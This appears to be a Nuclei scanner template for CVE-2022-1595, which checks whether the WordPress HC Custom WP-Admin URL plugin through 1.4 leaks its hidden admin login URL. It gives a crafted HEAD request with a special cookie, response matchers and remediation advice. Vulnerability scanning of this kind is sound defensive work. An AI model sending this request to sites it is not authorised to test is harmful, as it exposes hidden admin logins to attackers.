WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure

id: CVE-2022-1595

info:
  name: WordPress HC Custom WP-Admin URL <=1.4 - Admin Login URL Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WordPress HC Custom WP-Admin URL plugin through 1.4 leaks the secret login URL when sending a specially crafted request, thereby allowing an attacker to discover the administrative login URL.
  remediation: |
    Update to the latest version of WordPress HC Custom WP-Admin URL plugin (>=1.5) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0218c90c-8f79-4f37-9a6f-60cf2f47d47b
    - https://wordpress.org/plugins/hc-custom-wp-admin-url/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1595
    cwe-id: CWE-200
    epss-score: 0.0016
    epss-percentile: 0.52492
    cpe: cpe:2.3:a:hc_custom_wp-admin_url_project:hc_custom_wp-admin_url:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: "hc_custom_wp-admin_url_project"
    product: "hc_custom_wp-admin_url"
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,wordpress,wp-plugin,wp,hc-custom-wp-admin-url,hc_custom_wp-admin_url_project

http:
  - raw:
      - |
        HEAD /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: valid_login_slug=1

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302"
          - "contains(header, 'wordpress_')"
          - "contains(header, 'Location')"
        condition: and
# digest: 4a0a0047304502203960ba3fcf0f154237cc81faeb6ed5e4ff63389fd38fe93d738f0330010ed185022100f2b894d4fbb8b1f0b32c75aab8eca417a14b0211ef533d9c18cd01994934bff1:922c64590222798bb761d5b6d8e72950